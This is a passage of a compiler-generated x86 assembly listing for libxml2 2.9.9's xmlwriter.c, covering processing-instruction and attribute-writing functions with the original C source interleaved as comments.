_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndPI
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndPI PROC ; COMDAT
; 2471 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN9@xmlTextWri
; 2472 : int count;
; 2473 : int sum;
; 2474 : xmlLinkPtr lk;
; 2475 : xmlTextWriterStackEntry *p;
; 2476 :
; 2477 : if (writer == NULL)
; 2478 : return -1;
; 2479 :
; 2480 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 2481 : if (lk == 0)
test eax, eax
je SHORT $LN13@xmlTextWri
; 2482 : return 0;
; 2483 :
; 2484 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 2485 : if (p == 0)
test eax, eax
je SHORT $LN13@xmlTextWri
; 2487 :
; 2488 : sum = 0;
; 2489 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
add eax, -4 ; fffffffcH
cmp eax, 1
ja SHORT $LN9@xmlTextWri
; 2490 : case XML_TEXTWRITER_PI:
; 2491 : case XML_TEXTWRITER_PI_TEXT:
; 2492 : count = xmlOutputBufferWriteString(writer->out, "?>");
push OFFSET ??_C@_02GOEMJPDN@?$DP?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 2493 : if (count < 0)
test edi, edi
js SHORT $LN9@xmlTextWri
; 2499 : }
; 2500 :
; 2501 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN10@xmlTextWri
; 2502 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 2503 : if (count < 0)
test eax, eax
js SHORT $LN9@xmlTextWri
; 2504 : return -1;
; 2505 : sum += count;
add edi, eax
$LN10@xmlTextWri:
; 2506 : }
; 2507 :
; 2508 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 2509 : return sum;
mov eax, edi
pop edi
; 2510 : }
pop esi
pop ebp
ret 0
$LN13@xmlTextWri:
pop edi
; 2486 : return 0;
xor eax, eax
; 2510 : }
pop esi
pop ebp
ret 0
$LN9@xmlTextWri:
pop edi
; 2494 : return -1;
; 2495 : sum += count;
; 2496 : break;
; 2497 : default:
; 2498 : return -1;
or eax, -1
; 2510 : }
pop esi
pop ebp
ret 0
_xmlTextWriterEndPI ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartPI
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_target$ = 12 ; size = 4
_xmlTextWriterStartPI PROC ; COMDAT
; 2375 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 2376 : int count;
; 2377 : int sum;
; 2378 : xmlLinkPtr lk;
; 2379 : xmlTextWriterStackEntry *p;
; 2380 :
; 2381 : if ((writer == NULL) || (target == NULL) || (*target == '\0'))
mov eax, DWORD PTR _target$[ebp]
test eax, eax
je SHORT $LN5@xmlTextWri
cmp BYTE PTR [eax], 0
je SHORT $LN5@xmlTextWri
; 2382 : return -1;
; 2383 :
; 2384 : if (xmlStrcasecmp(target, (const xmlChar *) "xml") == 0) {
push OFFSET ??_C@_03PJHHNEEI@xml@
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN6@xmlTextWri
; 2385 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@
; 2457 :
; 2458 : return sum;
; 2459 : }
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
$LN5@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN6@xmlTextWri:
; 2386 : "xmlTextWriterStartPI : target name [Xx][Mm][Ll] is reserved for xml standardization!\n");
; 2387 : return -1;
; 2388 : }
; 2389 :
; 2390 : sum = 0;
; 2391 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 2392 : if (lk != 0) {
test eax, eax
je SHORT $LN2@xmlTextWri
; 2393 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 2394 : if (p != 0) {
test ebx, ebx
je SHORT $LN2@xmlTextWri
; 2395 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
cmp eax, 7
ja SHORT $LN5@xmlTextWri
jmp DWORD PTR $LN25@xmlTextWri[eax*4]
$LN9@xmlTextWri:
; 2396 : case XML_TEXTWRITER_ATTRIBUTE:
; 2397 : count = xmlTextWriterEndAttribute(writer);
push esi
call _xmlTextWriterEndAttribute
mov edi, eax
add esp, 4
; 2398 : if (count < 0)
test edi, edi
js SHORT $LN5@xmlTextWri
$LN11@xmlTextWri:
; 2399 : return -1;
; 2400 : sum += count;
; 2401 : /* fallthrough */
; 2402 : case XML_TEXTWRITER_NAME:
; 2403 : /* Output namespace declarations */
; 2404 : count = xmlTextWriterOutputNSDecl(writer);
push esi
call _xmlTextWriterOutputNSDecl
add esp, 4
; 2405 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 2406 : return -1;
; 2407 : sum += count;
; 2408 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 2409 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 2410 : return -1;
; 2411 : sum += count;
add edi, eax
; 2412 : p->state = XML_TEXTWRITER_TEXT;
mov DWORD PTR [ebx+4], 3
$LN2@xmlTextWri:
; 2421 : "xmlTextWriterStartPI : nested PI!\n");
; 2422 : return -1;
; 2423 : default:
; 2424 : return -1;
; 2425 : }
; 2426 : }
; 2427 : }
; 2428 :
; 2429 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
mov ebx, eax
add esp, 4
; 2430 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 2431 : if (p == 0) {
test ebx, ebx
jne SHORT $LN17@xmlTextWri
; 2432 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@
push 2
; 2457 :
; 2458 : return sum;
; 2459 : }
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN15@xmlTextWri:
; 2413 : break;
; 2414 : case XML_TEXTWRITER_NONE:
; 2415 : case XML_TEXTWRITER_TEXT:
; 2416 : case XML_TEXTWRITER_DTD:
; 2417 : break;
; 2418 : case XML_TEXTWRITER_PI:
; 2419 : case XML_TEXTWRITER_PI_TEXT:
; 2420 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@
; 2457 :
; 2458 : return sum;
; 2459 : }
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN17@xmlTextWri:
; 2433 : "xmlTextWriterStartPI : out of memory!\n");
; 2434 : return -1;
; 2435 : }
; 2436 :
; 2437 : p->name = xmlStrdup(target);
push DWORD PTR _target$[ebp]
call _xmlStrdup
add esp, 4
mov DWORD PTR [ebx], eax
; 2438 : if (p->name == 0) {
test eax, eax
jne SHORT $LN18@xmlTextWri
; 2439 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@
push 2
push esi
call _xmlWriterErrMsg
; 2440 : "xmlTextWriterStartPI : out of memory!\n");
; 2441 : xmlFree(p);
push ebx
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 2457 :
; 2458 : return sum;
; 2459 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN18@xmlTextWri:
; 2442 : return -1;
; 2443 : }
; 2444 : p->state = XML_TEXTWRITER_PI;
mov DWORD PTR [ebx+4], 4
; 2445 :
; 2446 : xmlListPushFront(writer->nodes, p);
push ebx
push DWORD PTR [esi+4]
call _xmlListPushFront
; 2447 :
; 2448 : count = xmlOutputBufferWriteString(writer->out, "<?");
push OFFSET ??_C@_02HFBBBACF@?$DM?$DP@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 16 ; 00000010H
; 2449 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 2450 : return -1;
; 2451 : sum += count;
; 2452 : count =
push DWORD PTR [ebx]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 2453 : xmlOutputBufferWriteString(writer->out, (const char *) p->name);
; 2454 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 2455 : return -1;
; 2456 : sum += count;
add eax, edi
pop edi
; 2457 :
; 2458 : return sum;
; 2459 : }
pop esi
pop ebx
pop ebp
ret 0
npad 1
$LN25@xmlTextWri:
DD $LN2@xmlTextWri
DD $LN11@xmlTextWri
DD $LN9@xmlTextWri
DD $LN2@xmlTextWri
DD $LN15@xmlTextWri
DD $LN15@xmlTextWri
DD $LN5@xmlTextWri
DD $LN2@xmlTextWri
_xmlTextWriterStartPI ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteAttributeNS
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_content$ = 24 ; size = 4
_xmlTextWriterWriteAttributeNS PROC ; COMDAT
; 2134 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN3@xmlTextWri
; 2135 : int count;
; 2136 : int sum;
; 2137 :
; 2138 : if ((writer == NULL) || (name == NULL) || (*name == '\0'))
mov eax, DWORD PTR _name$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
cmp BYTE PTR [eax], 0
je SHORT $LN3@xmlTextWri
; 2140 :
; 2141 : sum = 0;
; 2142 : count = xmlTextWriterStartAttributeNS(writer, prefix, name, namespaceURI);
push DWORD PTR _namespaceURI$[ebp]
push eax
push DWORD PTR _prefix$[ebp]
push esi
call _xmlTextWriterStartAttributeNS
mov edi, eax
add esp, 16 ; 00000010H
; 2143 : if (count < 0)
test edi, edi
js SHORT $LN3@xmlTextWri
; 2144 : return -1;
; 2145 : sum += count;
; 2146 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _content$[ebp]
push esi
call _xmlTextWriterWriteString
add esp, 8
; 2147 : if (count < 0)
test eax, eax
js SHORT $LN3@xmlTextWri
; 2148 : return -1;
; 2149 : sum += count;
; 2150 : count = xmlTextWriterEndAttribute(writer);
push esi
add edi, eax
call _xmlTextWriterEndAttribute
add esp, 4
; 2151 : if (count < 0)
test eax, eax
js SHORT $LN3@xmlTextWri
; 2152 : return -1;
; 2153 : sum += count;
add eax, edi
pop edi
; 2154 :
; 2155 : return sum;
; 2156 : }
pop esi
pop ebp
ret 0
$LN3@xmlTextWri:
pop edi
; 2139 : return -1;
or eax, -1
; 2154 :
; 2155 : return sum;
; 2156 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteAttributeNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatAttributeNS
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_format$ = 24 ; size = 4
_argptr$ = 28 ; size = 4
_xmlTextWriterWriteVFormatAttributeNS PROC ; COMDAT
; 2099 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 2100 : int rc;
; 2101 : xmlChar *buf;
; 2102 :
; 2103 : if (writer == NULL)
; 2104 : return -1;
; 2105 :
; 2106 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2107 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 2109 :
; 2110 : rc = xmlTextWriterWriteAttributeNS(writer, prefix, name, namespaceURI,
push edi
push DWORD PTR _namespaceURI$[ebp]
push DWORD PTR _name$[ebp]
push DWORD PTR _prefix$[ebp]
push esi
call _xmlTextWriterWriteAttributeNS
; 2111 : buf);
; 2112 :
; 2113 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 24 ; 00000018H
; 2114 : return rc;
mov eax, esi
pop edi
; 2115 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 2108 : return -1;
or eax, -1
; 2115 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatAttributeNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatAttributeNS
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_format$ = 24 ; size = 4
_xmlTextWriterWriteFormatAttributeNS PROC ; COMDAT
; 2067 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 2103 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 2068 : int rc;
; 2069 : va_list ap;
; 2070 :
; 2071 : va_start(ap, format);
; 2072 :
; 2073 : rc = xmlTextWriterWriteVFormatAttributeNS(writer, prefix, name,
; 2074 : namespaceURI, format, ap);
; 2075 :
; 2076 : va_end(ap);
; 2077 : return rc;
or eax, -1
pop esi
; 2078 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 2106 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2107 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 2068 : int rc;
; 2069 : va_list ap;
; 2070 :
; 2071 : va_start(ap, format);
; 2072 :
; 2073 : rc = xmlTextWriterWriteVFormatAttributeNS(writer, prefix, name,
; 2074 : namespaceURI, format, ap);
; 2075 :
; 2076 : va_end(ap);
; 2077 : return rc;
pop edi
or eax, -1
pop esi
; 2078 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 2110 : rc = xmlTextWriterWriteAttributeNS(writer, prefix, name, namespaceURI,
push edi
push DWORD PTR _namespaceURI$[ebp]
push DWORD PTR _name$[ebp]
push DWORD PTR _prefix$[ebp]
push esi
call _xmlTextWriterWriteAttributeNS
; 2111 : buf);
; 2112 :
; 2113 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 24 ; 00000018H
; 2068 : int rc;
; 2069 : va_list ap;
; 2070 :
; 2071 : va_start(ap, format);
; 2072 :
; 2073 : rc = xmlTextWriterWriteVFormatAttributeNS(writer, prefix, name,
; 2074 : namespaceURI, format, ap);
; 2075 :
; 2076 : va_end(ap);
; 2077 : return rc;
mov eax, esi
pop edi
pop esi
; 2078 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatAttributeNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteAttribute
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_content$ = 16 ; size = 4
_xmlTextWriterWriteAttribute PROC ; COMDAT
; 2027 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _name$[ebp]
mov edi, DWORD PTR _writer$[ebp]
push edi
call _xmlTextWriterStartAttribute
mov esi, eax
add esp, 8
test esi, esi
js SHORT $LN40@xmlTextWri
; 2028 : int count;
; 2029 : int sum;
; 2030 :
; 2031 : sum = 0;
; 2032 : count = xmlTextWriterStartAttribute(writer, name);
; 2033 : if (count < 0)
; 2034 : return -1;
; 2035 : sum += count;
; 2036 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _content$[ebp]
push edi
call _xmlTextWriterWriteString
add esp, 8
; 2037 : if (count < 0)
test eax, eax
js SHORT $LN40@xmlTextWri
; 2038 : return -1;
; 2039 : sum += count;
; 2040 : count = xmlTextWriterEndAttribute(writer);
push edi
add esi, eax
call _xmlTextWriterEndAttribute
add esp, 4
; 2041 : if (count < 0)
test eax, eax
js SHORT $LN40@xmlTextWri
; 2043 : sum += count;
pop edi
add eax, esi
; 2044 :
; 2045 : return sum;
; 2046 : }
pop esi
pop ebp
ret 0
$LN40@xmlTextWri:
pop edi
; 2042 : return -1;
or eax, -1
; 2044 :
; 2045 : return sum;
; 2046 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteAttribute ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatAttribute
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_argptr$ = 20 ; size = 4
_xmlTextWriterWriteVFormatAttribute PROC ; COMDAT
; 1997 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 1998 : int rc;
; 1999 : xmlChar *buf;
; 2000 :
; 2001 : if (writer == NULL)
; 2002 : return -1;
; 2003 :
; 2004 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2005 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 2007 :
; 2008 : rc = xmlTextWriterWriteAttribute(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteAttribute
; 2009 :
; 2010 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 2011 : return rc;
mov eax, esi
pop edi
; 2012 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 2006 : return -1;
or eax, -1
; 2012 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatAttribute ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatAttribute
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_xmlTextWriterWriteFormatAttribute PROC ; COMDAT
; 1970 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 2001 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 1971 : int rc;
; 1972 : va_list ap;
; 1973 :
; 1974 : va_start(ap, format);
; 1975 :
; 1976 : rc = xmlTextWriterWriteVFormatAttribute(writer, name, format, ap);
; 1977 :
; 1978 : va_end(ap);
; 1979 : return rc;
or eax, -1
pop esi
; 1980 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 2004 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2005 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 1971 : int rc;
; 1972 : va_list ap;
; 1973 :
; 1974 : va_start(ap, format);
; 1975 :
; 1976 : rc = xmlTextWriterWriteVFormatAttribute(writer, name, format, ap);
; 1977 :
; 1978 : va_end(ap);
; 1979 : return rc;
pop edi
or eax, -1
pop esi
; 1980 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 2008 : rc = xmlTextWriterWriteAttribute(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteAttribute
; 2009 :
; 2010 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 1971 : int rc;
; 1972 : va_list ap;
; 1973 :
; 1974 : va_start(ap, format);
; 1975 :
; 1976 : rc = xmlTextWriterWriteVFormatAttribute(writer, name, format, ap);
; 1977 :
; 1978 : va_end(ap);
; 1979 : return rc;
mov eax, esi
pop edi
pop esi
; 1980 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatAttribute ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndAttribute
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndAttribute PROC ; COMDAT
; 1918 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN11@xmlTextWri
; 1919 : int count;
; 1920 : int sum;
; 1921 : xmlLinkPtr lk;
; 1922 : xmlTextWriterStackEntry *p;
; 1923 :
; 1924 : if (writer == NULL)
; 1925 : return -1;
; 1926 :
; 1927 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 1928 : if (lk == 0) {
test eax, eax
je SHORT $LN11@xmlTextWri
; 1929 : return -1;
; 1930 : }
; 1931 :
; 1932 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 1933 : if (p == 0) {
test eax, eax
je SHORT $LN11@xmlTextWri
; 1934 : return -1;
; 1935 : }
; 1936 :
; 1937 : sum = 0;
; 1938 : switch (p->state) {
mov ecx, DWORD PTR [eax+4]
sub ecx, 2
jne SHORT $LN11@xmlTextWri
; 1939 : case XML_TEXTWRITER_ATTRIBUTE:
; 1940 : p->state = XML_TEXTWRITER_NAME;
mov DWORD PTR [eax+4], 1
; 1941 :
; 1942 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [esi+28]
push eax
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1943 : if (count < 0) {
test eax, eax
jns SHORT $LN1@xmlTextWri
$LN11@xmlTextWri:
; 1944 : return -1;
or eax, -1
$LN1@xmlTextWri:
pop esi
; 1945 : }
; 1946 : sum += count;
; 1947 : break;
; 1948 : default:
; 1949 : return -1;
; 1950 : }
; 1951 :
; 1952 : return sum;
; 1953 : }
pop ebp
ret 0
_xmlTextWriterEndAttribute ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartAttributeNS
_TEXT SEGMENT
_nsentry$1 = -12 ; size = 12
_curns$1$ = 8 ; size = 4
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_xmlTextWriterStartAttributeNS PROC ; COMDAT
; 1831 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
mov ecx, OFFSET __DA396148_xmlwriter@c
push ebx
push esi
push edi
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _writer$[ebp]
test edi, edi
je $LN3@xmlTextWri
; 1832 : int count;
; 1833 : int sum;
; 1834 : xmlChar *buf;
; 1835 : xmlTextWriterNsStackEntry *p;
; 1836 :
; 1837 : if ((writer == NULL) || (name == NULL) || (*name == '\0'))
mov ebx, DWORD PTR _name$[ebp]
test ebx, ebx
je $LN3@xmlTextWri
cmp BYTE PTR [ebx], 0
je $LN3@xmlTextWri
; 1838 : return -1;
; 1839 :
; 1840 : /* Handle namespace first in case of error */
; 1841 : if (namespaceURI != 0) {
cmp DWORD PTR _namespaceURI$[ebp], 0
mov esi, DWORD PTR _prefix$[ebp]
je $LN9@xmlTextWri
; 1842 : xmlTextWriterNsStackEntry nsentry, *curns;
; 1843 :
; 1844 : buf = xmlStrdup(BAD_CAST "xmlns");
push OFFSET ??_C@_05PPEFOGKI@xmlns@
call _xmlStrdup
add esp, 4
mov ebx, eax
; 1845 : if (prefix != 0) {
test esi, esi
je SHORT $LN5@xmlTextWri
; 1846 : buf = xmlStrcat(buf, BAD_CAST ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push ebx
call _xmlStrcat
; 1847 : buf = xmlStrcat(buf, prefix);
push esi
push eax
call _xmlStrcat
add esp, 16 ; 00000010H
mov ebx, eax
$LN5@xmlTextWri:
; 1848 : }
; 1849 :
; 1850 : nsentry.prefix = buf;
; 1851 : nsentry.uri = (xmlChar *)namespaceURI;
mov eax, DWORD PTR _namespaceURI$[ebp]
; 1852 : nsentry.elem = xmlListFront(writer->nodes);
push DWORD PTR [edi+4]
mov DWORD PTR _nsentry$1[ebp], ebx
mov DWORD PTR _nsentry$1[ebp+4], eax
call _xmlListFront
mov DWORD PTR _nsentry$1[ebp+8], eax
; 1853 :
; 1854 : curns = (xmlTextWriterNsStackEntry *)xmlListSearch(writer->nsstack,
lea eax, DWORD PTR _nsentry$1[ebp]
push eax
push DWORD PTR [edi+8]
call _xmlListSearch
add esp, 12 ; 0000000cH
mov DWORD PTR _curns$1$[ebp], eax
; 1855 : (void *)&nsentry);
; 1856 : if ((curns != NULL)) {
test eax, eax
je SHORT $LN8@xmlTextWri
; 1857 : xmlFree(buf);
push ebx
call DWORD PTR _xmlFree
; 1858 : if (xmlStrcmp(curns->uri, namespaceURI) == 0) {
mov eax, DWORD PTR _curns$1$[ebp]
push DWORD PTR _namespaceURI$[ebp]
push DWORD PTR [eax+4]
call _xmlStrcmp
add esp, 12 ; 0000000cH
test eax, eax
je $LN15@xmlTextWri
$LN3@xmlTextWri:
pop edi
; 1906 : }
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN8@xmlTextWri:
; 1859 : /* Namespace already defined on element skip */
; 1860 : buf = NULL;
; 1861 : } else {
; 1862 : /* Prefix mismatch so error out */
; 1863 : return -1;
; 1864 : }
; 1865 : }
; 1866 :
; 1867 : /* Do not add namespace decl to list - it is already there */
; 1868 : if (buf != NULL) {
test ebx, ebx
je SHORT $LN15@xmlTextWri
; 1869 : p = (xmlTextWriterNsStackEntry *)
push 12 ; 0000000cH
call DWORD PTR _xmlMalloc
mov esi, eax
add esp, 4
; 1870 : xmlMalloc(sizeof(xmlTextWriterNsStackEntry));
; 1871 : if (p == 0) {
test esi, esi
jne SHORT $LN10@xmlTextWri
; 1872 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@
push 2
push edi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 1906 : }
or eax, -1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@xmlTextWri:
; 1873 : "xmlTextWriterStartAttributeNS : out of memory!\n");
; 1874 : return -1;
; 1875 : }
; 1876 :
; 1877 : p->prefix = buf;
; 1878 : p->uri = xmlStrdup(namespaceURI);
push DWORD PTR _namespaceURI$[ebp]
mov DWORD PTR [esi], ebx
call _xmlStrdup
add esp, 4
mov DWORD PTR [esi+4], eax
; 1879 : if (p->uri == 0) {
test eax, eax
jne SHORT $LN11@xmlTextWri
; 1880 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@
